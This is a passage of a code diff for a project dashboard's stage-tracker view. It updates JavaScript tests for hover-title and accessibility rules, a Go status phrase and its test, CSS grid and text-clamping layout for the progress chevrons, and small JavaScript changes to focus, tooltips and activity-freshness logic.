    ]*>[\s\S]*?<\/svg>([^<]*)<\/span>]*aria-label="Next move: ([a-z]+)"[^>]*>/.exec(r); + const m = /aria-current="step">]*>]*>[\s\S]*?<\/svg>([^<]*)<\/span><\/span>]*aria-label="Next move: ([a-z]+)"[^>]*>/.exec(r); assert.ok(m, 'stage ' + st + ' has no active word + actor: ' + r); assert.deepStrictEqual([m[1], m[2]], [word, actor === 'author' ? 'clanker' : actor], 'stage ' + st); prWords[st] = m[1]; @@ -606,12 +606,28 @@ assert.deepStrictEqual(stageTrackerVisible(g, { kind: 'issue', repo: '' }).map(i assert.deepStrictEqual(stageTrackerVisible(g, { kind: 'pr', repo: '' }).map(it => it.number), [21, 31, 32, 40], 'Pull requests filter flattens every PR once'); // Hover text budget per row (owner request): only the #N link, the PR link, -// the item title and the active chevron carry title="…". The row container, +// the item title and the active chevron carry nonempty title="…". The row container, // sub-row container, kind / author / actor icons, chips, since cells and // every non-active chevron carry none; icons expose their label via aria-label. +// Accessible chevron wrappers use title="" only to suppress inherited native +// hover text while the shared portal exposes their full details. const tags = (html) => Array.from(html.matchAll(/<(\w+)\b([^>]*)>/g)).map(m => ({ tag: m[1], attrs: m[2] })); -const titled = (html) => tags(html).filter(t => / title="/.test(t.attrs) && !t.attrs.includes('data-track=')); -const expectTitles = (html, want, what) => assert.deepStrictEqual(titled(html).map(t => t.tag + '.' + ((/class="([^" ]+)/.exec(t.attrs) || [])[1] || '')), want, what + ': ' + html); +const titleAttribute = (tag) => (/(?:^|\s)title="([^"]*)"/.exec(tag.attrs) || [])[1]; +const chevronHelp = (tag) => tag.tag === 'span' && /(?:^|\s)class="ham-chevron-info config-info"/.test(tag.attrs); +const titled = (html) => tags(html).filter(t => titleAttribute(t) !== undefined && !t.attrs.includes('data-track=') && + !(chevronHelp(t) && titleAttribute(t) === '')); +const expectTitles = (html, want, what) => { + for (const tag of tags(html).filter(chevronHelp)) { + assert.strictEqual(titleAttribute(tag), '', what + ': portal wrapper must suppress inherited native hover text'); + assert.match(tag.attrs, /(?:^|\s)tabindex="0"/, what + ': full details remain keyboard reachable'); + assert.match(tag.attrs, /(?:^|\s)aria-label="[^"]+"/, what + ': full accessible caption remains'); + assert.match(tag.attrs, /(?:^|\s)aria-describedby="ham-(?:chevron|track)-tip-[^"]+"/, what + ': shared tooltip stays associated'); + } + assert.deepStrictEqual(titled(html).map(t => t.tag + '.' + ((/class="([^" ]+)/.exec(t.attrs) || [])[1] || '')), want, what + ': ' + html); +}; +assert.strictEqual(titled('').length, 0, 'only the exact empty portal suppressor is exempt'); +assert.strictEqual(titled('').length, 1, 'nonempty wrapper titles still violate the exact hover budget'); +assert.strictEqual(titled('
  • ').length, 2, 'unrelated title-bearing extras are never whitelisted'); assert.ok(!/]*>\s*/.test(golden), 'no svg <title> tooltips anywhere in the tracker'); assert.ok(!/<(div|span)[^>]*class="ham-(row|sub|since|badge|kind-ico)[^>]*title="/.test(golden), 'containers, since cells, chips and kind icons carry no title'); for (const r of golden.split('<div class="ham-row"').slice(1)) { diff --git a/src/pkg/dashboard/stage_tracker_vocabulary.go b/src/pkg/dashboard/stage_tracker_vocabulary.go index fcb22d0d59..4524795e2c 100644 --- a/src/pkg/dashboard/stage_tracker_vocabulary.go +++ b/src/pkg/dashboard/stage_tracker_vocabulary.go @@ -115,7 +115,7 @@ func stageTrackerStagePhrase(stage stagelabels.Stage) string { case stagelabels.Reviewed: return "review passed Β· waiting for merge admission" case stagelabels.Fixing: - return "being fixed by hive" + return "being remediated by hive" case stagelabels.NeedsAuthor: return "waiting for its author" case stagelabels.ReturnedToContributor: diff --git a/src/pkg/dashboard/stage_tracker_vocabulary_test.go b/src/pkg/dashboard/stage_tracker_vocabulary_test.go index 24230aee29..c501e71693 100644 --- a/src/pkg/dashboard/stage_tracker_vocabulary_test.go +++ b/src/pkg/dashboard/stage_tracker_vocabulary_test.go @@ -29,7 +29,7 @@ func TestStageTrackerVocabularyTable(t *testing.T) { stagelabels.IssueNeedsDecision: {trackerColumnActionable, "waiting for a human decision"}, stagelabels.ReviewPending: {trackerColumnReview, "in CI / review"}, stagelabels.Reviewed: {trackerColumnReview, "review passed Β· waiting for merge admission"}, - stagelabels.Fixing: {trackerColumnReview, "being fixed by hive"}, + stagelabels.Fixing: {trackerColumnReview, "being remediated by hive"}, stagelabels.NeedsAuthor: {trackerColumnReview, "waiting for its author"}, stagelabels.ReturnedToContributor: {trackerColumnReview, "returned to the contributor"}, stagelabels.AdoptedByHive: {trackerColumnReview, "adopted by hive"}, diff --git a/src/pkg/dashboard/static-src/css/tracker.css b/src/pkg/dashboard/static-src/css/tracker.css index 3af192b832..744c16e076 100644 --- a/src/pkg/dashboard/static-src/css/tracker.css +++ b/src/pkg/dashboard/static-src/css/tracker.css @@ -94,39 +94,29 @@ /* Title line = a ghost strip with the same column widths as the chevrons below: a lead cell spanning Open..Claimed carries the number + title, a PR cell spanning PR in progress..Merge gate carries "[icon] #N title", - the cap column is kept for the modifier chip and the since column is - an empty spacer (the time on step rides the strip row's since cell, in - line with the chevrons). Both cells wrap rather than collide; the lead - keeps a clear gap before the PR column. The spanning cells' flex-basis - absorbs the gaps they cover so the PR cell starts exactly at the PR in - progress chevron. */ + modifiers get a separate, full-width right-anchored toolbar line. The since column is + an empty spacer (the time on step rides the strip row's since cell). + Explicit grid spans share the chevrons' tracks, including the two + concurrent CI/Review tracks, without content changing their widths. */ .ham-row-head { position: relative; display: flex; align-items: flex-start; gap: var(--sp-3); font-size: var(--fs-sm); min-width: 0; line-height: 1.3; } .ham-head-cols { flex: 1 1 auto; min-width: 0; min-height: 1.3em; align-items: flex-start; } .ham-head-cols .ham-strip { height: auto; } .ham-head-cols .ham-seg { background: transparent; clip-path: none; align-items: flex-start; justify-content: flex-start; padding: 0 var(--sp-2) 0 var(--sp-4); white-space: normal; } - /* Lead = exactly three of the six equal chevrons (half of the strip - minus the fixed 4em cap and the six gaps) plus the two gaps between - them, so the PR cell starts at the PR in progress chevron; the PR cell takes what - is left and gives way to the chip, which lives in the cap cell. */ - .ham-head-cols .ham-seg.ham-head-lead { flex: 0 0 calc((100% - 4em - var(--ham-visible-columns) * var(--sp-1)) * 3 / var(--ham-visible-columns) + 2 * var(--sp-1)); padding: 0 var(--sp-6) 0 0; } - .ham-head-cols .ham-seg.ham-head-lead.ham-head-wide { flex: 1 1 0; } - /* The PR cell is one line: connector, author icon + #N + title, lineage - chip and base pill sit side by side; the lineage chip gives way first - (flex-shrink 2), then the title (1), the pills and the connector never shrink - (hivecommons/hive "consolidate from 3 lines of text to 1"). */ - .ham-head-cols .ham-seg.ham-head-pr { flex: 1 1 0; flex-direction: row; flex-wrap: nowrap; align-items: center; gap: var(--sp-2); min-width: 0; overflow: hidden; } - .ham-head-cols .ham-seg.ham-head-pr > .ham-linked-ico, .ham-head-cols .ham-seg.ham-head-pr > .ham-badge { flex: 0 0 auto; } - .ham-head-cols .ham-seg.ham-head-pr > .ham-lineage, .ham-head-cols .ham-seg.ham-head-pr > .ham-adopted-from { display: block; flex: 0 2 auto; min-width: 7em; overflow: hidden; text-overflow: ellipsis; } + .ham-head-cols .ham-seg.ham-head-lead { grid-column: 1 / var(--ham-pr-start); grid-row: 1; padding: 0 var(--sp-6) 0 0; } + .ham-head-cols .ham-seg.ham-head-pr { grid-column: var(--ham-pr-start) / -2; grid-row: 1; flex-direction: row; flex-wrap: wrap; align-items: center; gap: var(--sp-2); min-width: 0; overflow: visible; padding: 0; } + .ham-head-cols .ham-seg.ham-head-pr > .ham-linked-ico { flex: 0 0 auto; } + .ham-head-cols .ham-seg.ham-head-pr > .ham-lineage, .ham-head-cols .ham-seg.ham-head-pr > .ham-adopted-from { flex: 0 1 auto; min-width: 0; max-width: 100%; flex-wrap: wrap; } .ham-head-cols .ham-seg.ham-head-pr > .ham-lineage > .ham-author-ico { vertical-align: text-bottom; margin-right: var(--sp-1); } .ham-head-cols .ham-seg.ham-head-pr > .ham-pr-ref, .ham-head-cols .ham-seg.ham-head-pr > .ham-pr-line { flex: 0 1 auto; } - /* The chip hugs the bottom of the title block (align-items: flex-end - inside the stretched cap cell): on a two-line title it sits on the - second line, directly over the strip it describes, never up at the - previous entry's edge. */ - .ham-head-cols .ham-seg.cap { flex: 0 0 auto; min-width: 4em; overflow: visible; align-items: flex-end; justify-content: flex-end; padding: 0; } - .ham-head-cols .ham-seg.cap .ham-badges { position: static; } - .ham-head-main { display: flex; flex: 1; align-items: center; gap: var(--sp-3); min-width: 0; overflow: hidden; } - .ham-head-main > .ham-badge { flex: 0 0 auto; } + .ham-head-cols .ham-seg.cap { grid-column: 1 / -1; grid-row: 2; min-width: 0; overflow: visible; align-items: flex-end; justify-content: flex-end; padding: 0; } + .ham-head-cols .ham-seg.cap:has(> .ham-badges:empty) { display: none; } + .ham-head-cols .ham-seg.cap .ham-badges { position: static; flex-wrap: wrap; justify-content: flex-end; min-width: 0; max-width: 100%; } + .ham-head-cols .ham-badges > :is(button, a) { min-width: 0; max-width: 100%; white-space: normal; overflow-wrap: anywhere; } + .ham-head-cols .ham-badge { min-width: 0; max-width: 100%; white-space: normal; overflow-wrap: anywhere; } + .ham-head-main { display: flex; flex: 1; flex-wrap: wrap; align-items: center; gap: var(--sp-3); min-width: 0; } + .ham-head-main > .ham-badge { flex: 0 1 auto; } + .ham-head-main > .ham-title, .ham-head-pr .ham-pr-title { white-space: normal; overflow: visible; overflow-wrap: anywhere; } + .ham-head-pr .ham-pr-ref, .ham-head-pr .ham-pr-line { flex-wrap: wrap; overflow: visible; } .ham-pr-ref { display: inline-flex; align-items: center; gap: var(--sp-2); min-width: 0; max-width: 100%; overflow: hidden; color: var(--muted); text-decoration: none; font-size: var(--fs-xs); } .ham-pr-ref:hover { color: var(--text); } .ham-linked-ico { color: var(--text-faint); font-size: var(--fs-xs); margin-right: var(--sp-1); } @@ -220,8 +210,8 @@ .ham-preparation-node:focus-visible { outline: var(--focus-ring-width) solid var(--ham-train-accent); outline-offset: var(--sp-1); } .ham-row.ham-preparation-gap::before, .ham-sub.ham-preparation-member.ham-preparation-gap::before { border-left-style: dashed; } .ham-preparation-unverified > .ham-strip-row > .ham-preparation-node::after { background: var(--bg); box-shadow: 0 0 0 var(--line-width) var(--ham-train-accent); } - .ham-preparation-comment { animation: none; } - .ham-human-context { animation: none; } + .cue-event.ham-preparation-comment { animation: none; } + .cue-event.ham-human-context { animation: none; } /* Mixed issue trees keep their existing children; only actual prep PRs receive a rail, at the original gutter offset minus the parent inset. */ .ham-row > .ham-preparation-head { margin-left: calc(-1 * var(--sp-2)); } @@ -326,15 +316,10 @@ .ham-badge-reroute { color: var(--status-warn); border-color: color-mix(in srgb, var(--status-warn) 55%, transparent); font-weight: var(--fw-medium); display: inline-flex; align-items: center; gap: var(--sp-1); } .ham-badge-reroute .ham-presence-dot { width: 0.5em; height: 0.5em; border-radius: var(--r-pill); background: var(--text-faint); flex: 0 0 auto; } .ham-badge-reroute.ham-reroute-online .ham-presence-dot { background: var(--status-ok); } - .ham-strip { list-style: none; margin: 0; padding: 0; display: flex; gap: var(--sp-1); min-height: 18px; flex: 1 1 auto; min-width: 0; --ham-notch: 8px; --ham-visible-columns: 7; } - .ham-strip:not(.ham-head-cols) { display: grid; grid-template-columns: repeat(var(--ham-visible-columns), minmax(0, 1fr)) 4em; } + .ham-strip { list-style: none; margin: 0; padding: 0; display: grid; grid-template-columns: repeat(var(--ham-visible-columns), minmax(0, 1fr)) 4em; gap: var(--sp-1); min-height: 18px; flex: 1 1 auto; min-width: 0; font-size: var(--fs-xs); --ham-notch: 8px; --ham-visible-columns: 7; --ham-chevron-text-lines: 2; --ham-chevron-line-height: 1.3; } .ham-seg { position: relative; flex: 1 1 0; min-width: 0; display: flex; align-items: center; justify-content: center; padding: 0 var(--sp-4) 0 var(--sp-5); font-size: var(--fs-xs); font-weight: var(--fw-medium); white-space: nowrap; overflow: hidden; clip-path: polygon(0 0, calc(100% - var(--ham-notch)) 0, 100% 50%, calc(100% - var(--ham-notch)) 100%, 0 100%, var(--ham-notch) 50%); } - .ham-activity-track { clip-path: none; border: var(--line-width) solid var(--line-subtle); border-radius: var(--r-sm); flex-direction: column; align-items: flex-start; padding: var(--sp-1) var(--sp-2); white-space: normal; } - .ham-track-name { font-weight: var(--fw-semibold); } - .ham-track-state { overflow-wrap: anywhere; font-size: var(--fs-xs); } + .ham-activity-track { clip-path: none; border: var(--line-width) solid var(--line-subtle); border-radius: var(--r-sm); white-space: normal; } .ham-track-state a { color: inherit; } - .ham-track-code-note, .ham-track-context { overflow-wrap: anywhere; font-size: var(--fs-xs); } - .ham-track-freshness { position: absolute; right: var(--sp-1); top: 0; color: var(--amber); } .ham-activity-track[data-activity-state="failing"], .ham-activity-track[data-activity-state="changes_requested"] { border-color: var(--amber); color: var(--amber); } .ham-seg:first-child { clip-path: polygon(0 0, calc(100% - var(--ham-notch)) 0, 100% 50%, calc(100% - var(--ham-notch)) 100%, 0 100%); } .ham-seg.cap { flex: 0 0 4em; } @@ -345,17 +330,12 @@ /* The holder's offline / not-registered state is muted: a flag, not an alarm. */ .ham-holder-presence { margin-right: 0; color: var(--text-faint); font-weight: normal; } .ham-holder-presence.ham-presence-offline { --ham-presence-color: var(--text-faint); } - /* A word with a holder ("PR in progress Β· @bob's clanker") stays on one - line: the stage word keeps its width and the name gives way with an - ellipsis before anything wraps (hivecommons/hive#15541). */ - .ham-seg-t.ham-has-holder, .ham-detour.ham-has-holder { display: inline-flex; align-items: baseline; min-width: 0; max-width: 100%; white-space: nowrap; } - .ham-has-holder > .ham-holder { flex: 0 1 auto; min-width: 0; overflow: hidden; text-overflow: ellipsis; white-space: pre; } .ham-ico { width: 12px; height: 12px; flex: 0 0 auto; } .ham-actor-ico { margin-left: var(--sp-1); stroke-width: 2; } .ham-seg.done { background: var(--panel-strong); color: var(--text-faint); } .ham-seg.todo { background: transparent; color: var(--text-faint); box-shadow: inset 0 0 0 var(--line-width) var(--line-subtle); opacity: 0.5; } .ham-seg.blank { visibility: hidden; } - .ham-sub { display: grid; gap: var(--sp-2); margin-top: var(--sp-3); position: relative; } + .ham-sub { display: grid; grid-template-columns: minmax(0, 1fr); min-width: 0; gap: var(--sp-2); margin-top: var(--sp-3); position: relative; } /* Only the two moving buckets animate (see stageTrackerMotion): the hive acting = gentle pulse; waiting on a person = slower amberβ†’red breathe. A lit step with no data-motion (Open, Open Β· hold, Claimed, …) is a @@ -365,6 +345,10 @@ layerize pass of the page every vsync (#13764). ::after is the movement effects' (flash / ripple / wash). */ .ham-seg.active { background: var(--amber); color: var(--surface-0); } + /* Position is independent of observed work: queued, held and unknown + tracks retain a steady current-phase outline, never a work pulse. */ + .ham-activity-track.ham-current { border-color: var(--amber); opacity: 1; box-shadow: inset 0 0 0 var(--line-width) var(--amber); } + .ham-activity-track.ham-current:not(.active) { background: color-mix(in srgb, var(--amber) 12%, var(--panel)); } .ham-seg.active[data-motion]::before { content: ''; position: absolute; inset: 0; opacity: 0; pointer-events: none; } .ham-seg.active[data-motion="active"]::before { background: white; animation: ham-pulse 1.6s ease-in-out infinite; } .ham-seg.active[data-motion="needs-human"]::before { background: var(--red); animation: ham-breathe-human 2.8s ease-in-out infinite; } @@ -394,10 +378,18 @@ after the word ("next sweep in 42s", "7m left") is muted. */ .ham-gate-ico { display: inline-flex; align-items: center; margin-right: var(--sp-1); cursor: help; } .ham-gate-ico .ham-ico { width: 12px; height: 12px; } - /* The detail is a fixed short phrase; should a long one ever reach it - (hivecommons/docs#512 drew a raw GitHub URL across the column) it is - clipped with an ellipsis rather than overflowing the chip. */ - .ham-gate-detail { font-weight: normal; opacity: 0.85; white-space: nowrap; font-variant-numeric: tabular-nums; display: inline-block; vertical-align: bottom; max-width: 12em; overflow: hidden; text-overflow: ellipsis; } + .ham-gate-detail { font-weight: normal; opacity: 0.85; font-variant-numeric: tabular-nums; } + /* All physical chevrons share a two-line budget. The portal tooltip is + outside the clipped polygon; keyboard focus exposes the same full text. */ + .ham-strip[aria-label="Pipeline progress"] { grid-auto-rows: calc(var(--ham-chevron-text-lines) * var(--ham-chevron-line-height) * 1em + 2 * var(--sp-2) + 2 * var(--line-width)); } + .ham-strip[aria-label="Pipeline progress"] > .ham-seg { box-sizing: border-box; height: 100%; line-height: var(--ham-chevron-line-height); padding: var(--sp-2) calc(var(--ham-notch) + var(--sp-2)); } + .ham-chevron-info.config-info, .ham-chevron-info.ham-chevron-decision { display: flex; align-items: center; justify-content: center; gap: var(--sp-1); width: 100%; height: 100%; min-width: 0; flex-shrink: 1; margin: 0; padding: 0; border: 0; background: transparent; color: inherit; font: inherit; line-height: inherit; position: static; } + .ham-chevron-info.config-info:hover { background: transparent; border: 0; color: inherit; } + .ham-chevron-info:focus-visible, .ham-chevron-decision:focus-within { outline: var(--line-width) solid currentColor; outline-offset: var(--sp-1); } + .ham-chevron-copy { display: -webkit-box; -webkit-box-orient: vertical; -webkit-line-clamp: var(--ham-chevron-text-lines); line-clamp: var(--ham-chevron-text-lines); max-height: calc(var(--ham-chevron-text-lines) * var(--ham-chevron-line-height) * 1em); flex: 1 1 auto; min-width: 0; overflow: hidden; white-space: normal; overflow-wrap: anywhere; } + .ham-chevron-copy :is(.ham-seg-t, .ham-detour, .ham-holder, .ham-gate-detail) { display: inline; white-space: normal; overflow-wrap: anywhere; } + .ham-chevron-copy > .ham-decision-trigger { display: -webkit-box; -webkit-box-orient: vertical; -webkit-line-clamp: var(--ham-chevron-text-lines); line-clamp: var(--ham-chevron-text-lines); max-width: 100%; overflow: hidden; white-space: normal; overflow-wrap: anywhere; } + .config-tooltip.ham-chevron-tip { overflow-wrap: anywhere; max-width: calc(100vw - var(--sp-8)); max-height: calc(100vh - var(--sp-8)); overflow-y: auto; pointer-events: auto; } @keyframes ham-pulse { 0%, 100% { opacity: 0; } 50% { opacity: 0.3; } } /* ---- tracker-cues: the Activity Monitor's shared cue vocabulary ------ Owner request: a viewer must always read where an item stands, @@ -494,7 +486,7 @@ page text: β‰₯ 15:1 in both themes, see the contrast test) above the stripes and the pulse overlay, on one line with an ellipsis. */ .cue-acting > .ham-strip-row > .ham-strip > .ham-seg.active:not(.cap) > :not(.cue-acting-cap) { display: none; } - .ham-seg.active > .cue-acting-cap { display: inline-block; position: relative; z-index: 1; margin-left: 0; max-width: 100%; min-width: 0; box-sizing: border-box; padding: var(--sp-1) var(--sp-2); border-radius: var(--r-pill); background: var(--surface-0); color: var(--text); font-weight: var(--fw-medium); line-height: 1.2; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; } + .ham-seg.active > .cue-acting-cap { display: -webkit-box; -webkit-box-orient: vertical; -webkit-line-clamp: var(--ham-chevron-text-lines); line-clamp: var(--ham-chevron-text-lines); position: relative; z-index: 1; margin-left: 0; max-width: 100%; min-width: 0; box-sizing: border-box; padding: 0 var(--sp-2); border-radius: var(--r-pill); background: var(--surface-0); color: var(--text); font-weight: var(--fw-medium); line-height: var(--ham-chevron-line-height); overflow: hidden; white-space: normal; overflow-wrap: anywhere; } .ham-seg.active > .cue-acting-cap > .cue-acting-spin { vertical-align: -1px; margin-right: var(--sp-2); } .cue-event { display: flex; align-items: baseline; gap: var(--sp-2); margin: 0; padding-left: var(--sp-5); font-size: var(--fs-xs); color: var(--muted); overflow-wrap: anywhere; animation: cue-event-in 0.4s ease-out; } .cue-event-who { font-weight: var(--fw-medium); color: var(--text); } @@ -758,21 +750,17 @@ a needs-human step keeps a steady red tint so it still stands out. */ @media (prefers-reduced-motion: reduce) { .ham-seg.active { animation: none; box-shadow: inset 0 0 0 2px var(--surface-0); } .ham-seg.active[data-motion]::before { display: none; } .ham-seg.active[data-motion="needs-human"] { background: color-mix(in srgb, var(--amber) 45%, var(--red)); } } @media (max-width: 1100px) { - /* Keep the aligned progress strip compact; put its active step in a - wrapping caption instead of squeezing actionable words into a chevron. */ - .ham-cols .ham-seg-t, .ham-row .ham-seg-t, .ham-row .ham-detour { display: none; } + /* Stack headers, but keep the same two-line progress text budget. */ + .ham-cols .ham-seg-t { display: none; } .ham-cols .ham-track-head .ham-seg-t { display: inline; } - .ham-track-state { display: none; } - .ham-track-code-note, .ham-track-context { display: none; } - .ham-activity-track { align-items: center; } .ham-active-ico { display: block; } .ham-row .ham-actor-ico { display: none; } .ham-current-stage { display: block; } .ham-head-cols { display: grid; grid-template-columns: minmax(0, 1fr) auto; gap: var(--sp-2) var(--sp-3); } .ham-head-cols > .ham-strip { display: contents; } - .ham-head-cols .ham-seg.ham-head-lead, .ham-head-cols .ham-seg.ham-head-pr { grid-column: 1 / -1; padding: 0; } + .ham-head-cols .ham-strip > .ham-seg { grid-column: 1 / -1; grid-row: auto; padding: 0; } .ham-head-cols .ham-head-lead:empty { display: none; } - .ham-head-cols .ham-seg.cap { grid-column: 1 / -1; min-width: 0; justify-content: flex-start; } + .ham-head-cols .ham-seg.cap { grid-column: 1 / -1; min-width: 0; justify-content: flex-end; } .ham-head-cols > .ham-since { display: none; } .ham-row .ham-seg { padding: 0 var(--sp-2) 0 var(--sp-3); } .ham-row .ham-seg.cap { flex-basis: 2em; } @@ -780,6 +768,11 @@ .ham-cols .ham-seg { padding: 0 var(--sp-2) 0 var(--sp-3); } .ham-cols .ham-seg.cap { flex-basis: 2em; } } + @media (max-width: 640px) { + #activity-monitor-panel { --ham-compact-min-width: 60em; } + .ham-row > .ham-strip-row, .ham-sub > .ham-strip-row, .ham-cols > .ham-strip-row { overflow-x: auto; } + .ham-row > .ham-strip-row > .ham-strip, .ham-sub > .ham-strip-row > .ham-strip, .ham-cols > .ham-strip-row > .ham-strip { min-width: var(--ham-compact-min-width); } + } /* Movement animation: when an item's lit chevron changes column between two refreshes, the chosen effect (settings gear β†’ Movement animation) plays once on that row. Overlays live in .ham-anim-layer, an absolute diff --git a/src/pkg/dashboard/static-src/js/tracker-actions.js b/src/pkg/dashboard/static-src/js/tracker-actions.js index 07d9e0a5b0..55f7ed287d 100644 --- a/src/pkg/dashboard/static-src/js/tracker-actions.js +++ b/src/pkg/dashboard/static-src/js/tracker-actions.js @@ -1027,9 +1027,14 @@ function stageTrackerOpenDecisionPop(trigger, pin) { const key = trigger && trigger.dataset ? trigger.dataset.hamDecision : ''; if (!key) return; + if (typeof hideConfigTooltip === 'function') hideConfigTooltip(); if (_stageTrackerDecisionPop && _stageTrackerDecisionPop.key === key) { if (pin) _stageTrackerDecisionPop.pinned = true; clearTimeout(_stageTrackerDecisionPop.timer); + if (pin && pin.focus) { + const first = _stageTrackerDecisionPop.el.querySelector('.ham-decision-act:not([aria-disabled="true"])'); + (first || _stageTrackerDecisionPop.el).focus({ preventScroll: true }); + } return; } stageTrackerCloseDecisionPop(false); @@ -1082,7 +1087,7 @@ window.addEventListener('resize', p.onAway); window.addEventListener('scroll', p.onAway, true); _stageTrackerDecisionPop = p; - if (pin && pin.focus) { const first = el.querySelector('.ham-decision-act:not([aria-disabled="true"])'); (first || el).focus(); } + if (pin && pin.focus) { const first = el.querySelector('.ham-decision-act:not([aria-disabled="true"])'); (first || el).focus({ preventScroll: true }); } } // The pointer left the trigger or the popover: close after a beat unless // it is pinned or the pointer is back over either (rows re-render, so @@ -2324,7 +2329,7 @@ n.classList.add('cue-acting'); if (capEl && capEl.parentNode !== host) { capEl.remove(); capEl = null; } if (host && !capEl) { capEl = document.createElement('span'); capEl.className = 'cue-acting-cap'; capEl.setAttribute('role', 'status'); const sp = document.createElement('span'); sp.className = 'toast-spinner cue-acting-spin'; capEl.appendChild(sp); capEl.appendChild(document.createTextNode('')); host.appendChild(capEl); } - if (capEl) capEl.lastChild.nodeValue = cap; + if (capEl) { capEl.lastChild.nodeValue = cap; capEl.title = cap; capEl.setAttribute('aria-label', cap); capEl.setAttribute('tabindex', '0'); } } else { n.classList.remove('cue-acting'); if (capEl) capEl.remove(); diff --git a/src/pkg/dashboard/static-src/js/tracker-motion.js b/src/pkg/dashboard/static-src/js/tracker-motion.js index 4d0dfcd7e0..5788981cbc 100644 --- a/src/pkg/dashboard/static-src/js/tracker-motion.js +++ b/src/pkg/dashboard/static-src/js/tracker-motion.js @@ -657,6 +657,12 @@ tpl.innerHTML = html; const node = tpl.content.firstElementChild; node.dataset.hamKey = key; + // Bind canonical lane geometry when materializing root and nested rows. + if (typeof node.querySelectorAll === 'function') { + for (const header of node.querySelectorAll('.ham-head-cols[data-ham-pr-start]')) { + header.style.setProperty('--ham-pr-start', header.dataset.hamPrStart); + } + } if (_stageTrackerRowSrc) _stageTrackerRowSrc.set(node, stageTrackerRowSrcKey(html)); return node; } diff --git a/src/pkg/dashboard/static-src/js/tracker-row-layout.js b/src/pkg/dashboard/static-src/js/tracker-row-layout.js index 381e89a538..204dc3bb21 100644 --- a/src/pkg/dashboard/static-src/js/tracker-row-layout.js +++ b/src/pkg/dashboard/static-src/js/tracker-row-layout.js @@ -1,14 +1,15 @@ // Ghost strip for a title line: the lead cell (Open..Claimed) carries // the item's own number + title, the PR cell (PR in progress..Merge gate) - // the given refs, and the cap cell the modifier chip, bottom-aligned so - // it sits on the last title line, directly over the strip's right end. + // the given refs. Modifier chips wrap on their own full-width, + // right-anchored line rather than overflowing the history cap into titles. // The since column is an empty spacer here (same width as the strip // row's, which carries the time on step): a wrapped title must not float // the age away from the chevrons it describes. function stageTrackerHeadColsHtml(prRefs, leadHtml, chipsHtml, prTargetKey) { const wide = !(prRefs && prRefs.length); - return `<div class="ham-strip-row ham-head-cols"><ol class="ham-strip"><li class="ham-seg ham-head-lead${wide ? ' ham-head-wide' : ''}">${leadHtml || ''}</li>${wide ? '' : `<li class="ham-seg ham-head-pr"${prTargetKey ? ` data-ham-target-key="${esc(prTargetKey)}"` : ''}>${prRefs.join('')}</li>`}<li class="ham-seg cap"><span class="ham-badges">${chipsHtml || ''}</span></li></ol><span class="ham-since"></span></div>`; + const prStart = STAGE_TRACKER_PATH.indexOf(STAGE_TRACKER_PR_COLUMN) + 1; + return `<div class="ham-strip-row ham-head-cols" data-ham-pr-start="${prStart}"><ol class="ham-strip"><li class="ham-seg ham-head-lead${wide ? ' ham-head-wide' : ''}">${leadHtml || ''}</li>${wide ? '' : `<li class="ham-seg ham-head-pr"${prTargetKey ? ` data-ham-target-key="${esc(prTargetKey)}"` : ''}>${prRefs.join('')}</li>`}<li class="ham-seg cap"><span class="ham-badges">${chipsHtml || ''}</span></li></ol><span class="ham-since"></span></div>`; } function stageTrackerSinceHtml(item, nowMs) { @@ -217,12 +218,10 @@ if (typeof stageTrackerPreparationMark === 'function') stageTrackerPreparationMark(pr); const superseded = typeof stageTrackerLinkedSupersededText === 'function' ? stageTrackerLinkedSupersededText(lp, issue) : ''; let ref = stageTrackerPRRef(pr.number, pr.url, pr.author_kind, pr.author, pr.title, (pr.title ? pr.title + ' Β· ' : '') + (superseded ? superseded + ' Β· ' + stageTrackerLinkedSupersededTip(lp) : stageTrackerTooltip(pr, nowMs)) + ' Β· ' + stageTrackerLinkedTip(issue, pr.number, ctx)); - // One line (hivecommons/hive: "consolidate from 3 lines of text to - // 1"): connector, repo chip, author icon + #N + title, the lineage / - // adopted-from chip, then the base pill β€” all siblings of the flex-row - // PR cell; the title ellipsizes, the pills never shrink. A superseded - // original wears neither pill β€” it closes as superseded, not as the - // closer of anything. + // Connector, repo chip, author icon + #N + title, lineage / + // adopted-from chip and base pill share the wrapping PR-side cell. + // A superseded original wears neither pill β€” it closes as superseded, + // not as the closer of anything. const lineage = superseded ? '' : ((typeof stageTrackerLineageChipHtml === 'function' ? stageTrackerLineageChipHtml(pr, nowMs) : '') || (typeof stageTrackerAdoptedFromChipHtml === 'function' ? stageTrackerAdoptedFromChipHtml(pr, nowMs) : '')); const chip = ctx && ctx.repoChips ? stageTrackerRepoChipHtml(pr.repo, ctx) : ''; if (chip) ref = `<span class="ham-pr-line">${chip}${ref}</span>`; @@ -231,7 +230,7 @@ if (superseded) { // The adopted original: one muted line, no chevron track, no row // tools, no needs-human styling β€” the copy carries the chevron. The - // trailing note never wraps; the title ellipsizes first (owner, + // trailing note stays distinct from the wrapping title (owner, // hivecommons/hive#15511: "superseded Β· hive adopted β†’ #15574"). return `<div class="ham-sub ham-sub-superseded" data-ham-kind="pr" data-ham-stage="${pr.stage}" data-ham-sub-key="${esc(stageTrackerItemKey(pr))}" data-ham-superseded-by="${Number(lp.superseded_by || lp.adopted_by) || 0}"> <div class="ham-row-head"> diff --git a/src/pkg/dashboard/static-src/js/tracker-row-strip.js b/src/pkg/dashboard/static-src/js/tracker-row-strip.js index b60c92bab8..faca32da4b 100644 --- a/src/pkg/dashboard/static-src/js/tracker-row-strip.js +++ b/src/pkg/dashboard/static-src/js/tracker-row-strip.js @@ -27,10 +27,12 @@ const activityFreshMS = 2 * 60 * 1000; const clock = Number(nowMs) || Date.now(); const stale = Number.isFinite(observed) && (clock - observed > activityFreshMS || observed > clock); - const active = matches && a.active && Number.isFinite(observed) && !stale; + const current = sg.state === 'active'; const state = matches ? a.state || 'unknown' : 'unknown'; - if (matches && (a.active || ['running', 'reviewing', 'adjudicating'].includes(state)) && (!Number.isFinite(observed) || stale)) caption = name + ' activity unknown Β· last observed ' + state; - const cls = Number.isFinite(observed) && !stale && (state === 'passing' || state === 'approved') ? 'done' : active ? 'active' : 'todo'; + const known = matches && state !== 'unknown' && Number.isFinite(observed) && !stale; + const active = known && a.active; + if (matches && !known && state !== 'unknown') caption = name + ' activity unknown Β· last observed ' + state + ' Β· ' + caption; + const cls = known && (state === 'passing' || state === 'approved') ? 'done' : active ? 'active' : 'todo'; const source = matches ? a.source || 'unavailable' : 'unavailable'; const freshness = !Number.isFinite(observed) ? 'observation time unknown' : (stale ? 'stale Β· ' : 'observed Β· ') + new 